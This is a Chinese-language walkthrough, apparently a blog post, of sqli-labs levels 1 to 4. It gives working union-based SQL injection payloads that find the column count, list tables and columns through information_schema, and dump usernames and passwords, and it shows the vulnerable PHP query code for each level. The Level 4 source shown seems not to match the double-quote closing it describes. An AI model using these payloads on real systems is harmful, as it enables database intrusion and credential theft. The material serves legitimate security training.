phpstudy2016:链接:http://pan.baidu.com/s/1bpbEBCj 密码:fmr4
sqli-labs-master:链接:http://pan.baidu.com/s/1jH4WlMY 密码:11mj
Less-1

?id=1' 报错

?id=1'%23 返回正常

?id=1' order by 3%23 返回正常

?id=1' order by 4%23 报错,说明表中有三列

?id=-1' union select 1,2,3%23 只有第一句话id=-1为空,才能回显后面的内容。
回显2,3 说明可以利用这两列回显我想要的董西

猜数据库名
?id=-1' union select 1,database(),3%23

猜表名
concat(str1,str2,...)——没有分隔符地连接字符串
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

或者可以直接
?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()
猜列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

猜内容
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
?id=-1' union select 1,concat_ws('%23',username,password),3 from users limit 0,1%23

后台查看一下源代码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-2
?id=1 order by 4 报错
?id=1 order by 3 不报错,测试得到三列

?id=-1 union select 1,2,3%23

后台查看一下源代码:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-3
单引号加括号闭合
?id=1' 报错

?id=1') %23 成功回显

?id=-1') union select 1,database(),3%23

后台查看一下源代码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-4
双引号加括号闭合
?id=1' 没有报错
?id=1" 报错
?id=1")%23 成功回显
?id=-1") union select 1,database(),3%23

查看一下源代码:
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
本文深入探讨了SQL注入攻击的各种技巧,包括如何利用错误消息、联合查询、字符串拼接等手段来探测数据库结构和内容。通过具体实例,如PHPStudy环境下的SQLi-labs练习,详细解析了不同场景下SQL注入的实施方法。

648

被折叠的 条评论
为什么被折叠?



